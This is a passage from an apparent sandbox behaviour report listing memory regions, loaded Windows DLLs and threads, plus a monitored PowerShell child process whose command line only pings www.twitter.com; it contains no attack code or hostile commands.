mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2957 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2958 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2959 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2960 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2961 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2962 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2963 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2964 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2965 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2966 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2967 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2968 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2969 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2970 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2971 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2972 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2973 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2974 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 138 os_tid = 0x684 Thread: id = 139 os_tid = 0x6c0 Thread: id = 140 os_tid = 0x5dc Thread: id = 141 os_tid = 0x680 Thread: id = 142 os_tid = 0x2fc Thread: id = 143 os_tid = 0x4a8 Thread: id = 144 os_tid = 0x6ac Thread: id = 145 os_tid = 0x570 Thread: id = 175 os_tid = 0x968 Process: id = "8" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x2e0ad000" os_pid = "0xa90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xed0" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Test-Connection www.twitter.com" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e95f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2995 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2996 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2997 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2998 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2999 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3000 start_va = 0xb0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3001 start_va = 0x140000 end_va = 0x1aafff monitored = 0 entry_point = 0x14d330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 3002 start_va = 0x2b0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 3003 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3004 start_va = 0x77040000 end_va = 0x771bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3005 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3006 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3007 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3008 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3009 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3010 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3011 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3012 start_va = 0x3d0000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3013 start_va = 0x74880000 end_va = 0x748dbfff monitored = 0 entry_point = 0x748bf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3014 start_va = 0x748e0000 end_va = 0x7491efff monitored = 0 entry_point = 0x7490e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3015 start_va = 0x74950000 end_va = 0x74957fff monitored = 0 entry_point = 0x749520f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3016 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3017 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3018 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3019 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c40000" filename = "" Region: id = 3020 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3021 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076d60000" filename = "" Region: id = 3022 start_va = 0x450000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3023 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3024 start_va = 0x75150000 end_va = 0x75196fff monitored = 0 entry_point = 0x751574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3025 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3026 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3027 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3028 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3029 start_va = 0x1b0000 end_va = 0x216fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3030 start_va = 0x75ca0000 end_va = 0x75d3ffff monitored = 0 entry_point = 0x75cb49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3031 start_va = 0x74cf0000 end_va = 0x74d9bfff monitored = 0 entry_point = 0x74cfa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3032 start_va = 0x753d0000 end_va = 0x753e8fff monitored = 0 entry_point = 0x753d4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3033 start_va = 0x75710000 end_va = 0x757fffff monitored = 0 entry_point = 0x75720569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3034 start_va = 0x74b90000 end_va = 0x74beffff monitored = 0 entry_point = 0x74baa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3035 start_va = 0x74b80000 end_va = 0x74b8bfff monitored = 0 entry_point = 0x74b810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3036 start_va = 0x72360000 end_va = 0x72373fff monitored = 0 entry_point = 0x72361da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 3037 start_va = 0x75b00000 end_va = 0x75bfffff monitored = 0 entry_point = 0x75b1b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3038 start_va = 0x74e80000 end_va = 0x74f0ffff monitored = 0 entry_point = 0x74e96343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3039 start_va = 0x77010000 end_va = 0x77019fff monitored = 0 entry_point = 0x770136a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3040 start_va = 0x74bf0000 end_va = 0x74c8cfff monitored = 0 entry_point = 0x74c23fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3041 start_va = 0x75270000 end_va = 0x753cbfff monitored = 0 entry_point = 0x752bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3042 start_va = 0x758a0000 end_va = 0x7592efff monitored = 0 entry_point = 0x758a3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3043 start_va = 0x74a20000 end_va = 0x74a69fff monitored = 1 entry_point = 0x74a22e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 3044 start_va = 0x630000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 3045 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3046 start_va = 0x740000 end_va = 0x8c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 3047 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3048 start_va = 0x75c40000 end_va = 0x75c9ffff monitored = 0 entry_point = 0x75c5158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3049 start_va = 0x751a0000 end_va = 0x7526bfff monitored = 0 entry_point = 0x751a168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3050 start_va = 0x8d0000 end_va = 0xa50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 3051 start_va = 0xa60000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 3052 start_va = 0x30000 end_va = 0x32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 3053 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3054 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 3055 start_va = 0x2f0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3056 start_va = 0x1e60000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 3057 start_va = 0x74990000 end_va = 0x74a1cfff monitored = 1 entry_point = 0x749a2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 3058 start_va = 0x72bf0000 end_va = 0x72bf2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3059 start_va = 0x74c90000 end_va = 0x74ce6fff monitored = 0 entry_point = 0x74ca9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3060 start_va = 0x73b80000 end_va = 0x73b88fff monitored = 0 entry_point = 0x73b81220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3061 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 3062 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 3063 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 3064 start_va = 0x74970000 end_va = 0x74983fff monitored = 0 entry_point = 0x7497ac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 3065 start_va = 0x723c0000 end_va = 0x7246afff monitored = 0 entry_point = 0x72455f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 3066 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3067 start_va = 0xa0000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 3068 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3069 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3070 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3071 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3072 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3073 start_va = 0x220000 end_va = 0x220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3074 start_va = 0x230000 end_va = 0x230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3075 start_va = 0x1e60000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 3076 start_va = 0x1fc0000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 3077 start_va = 0x240000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3078 start_va = 0x480000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3079 start_va = 0x530000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 3080 start_va = 0x6d0000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 3081 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 3082 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3083 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3084 start_va = 0x270000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 3085 start_va = 0x2000000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 3086 start_va = 0x240000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3087 start_va = 0x680000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 3088 start_va = 0x1ea0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 3089 start_va = 0x1f60000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 3090 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3091 start_va = 0x4d0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3092 start_va = 0x4050000 end_va = 0x408ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004050000" filename = "" Region: id = 3093 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3094 start_va = 0x4090000 end_va = 0x435efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3095 start_va = 0x6fea0000 end_va = 0x712aafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 3096 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3097 start_va = 0x4360000 end_va = 0x450ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 3098 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3099 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3100 start_va = 0x6f440000 end_va = 0x6fe94fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 3101 start_va = 0x6ddb0000 end_va = 0x6e5c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 3102 start_va = 0x71c10000 end_va = 0x71c9efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\731848746c032af3ce33577b793c9b9c\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\731848746c032af3ce33577b793c9b9c\\microsoft.powershell.consolehost.ni.dll") Region: id = 3103 start_va = 0x73950000 end_va = 0x73966fff monitored = 0 entry_point = 0x73953573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3104 start_va = 0x300000 end_va = 0x33bfff monitored = 0 entry_point = 0x30128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3105 start_va = 0x300000 end_va = 0x33bfff monitored = 0 entry_point = 0x30128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3106 start_va = 0x300000 end_va = 0x33bfff monitored = 0 entry_point = 0x30128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3107 start_va = 0x300000 end_va = 0x33bfff monitored = 0 entry_point = 0x30128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3108 start_va = 0x300000 end_va = 0x33bfff monitored = 0 entry_point = 0x30128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3109 start_va = 0x73910000 end_va = 0x7394afff monitored = 0 entry_point = 0x7391128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3110 start_va = 0x6bb40000 end_va = 0x6d622fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\system.management.automation.ni.dll") Region: id = 3111 start_va = 0x300000 end_va = 0x361fff monitored = 1 entry_point = 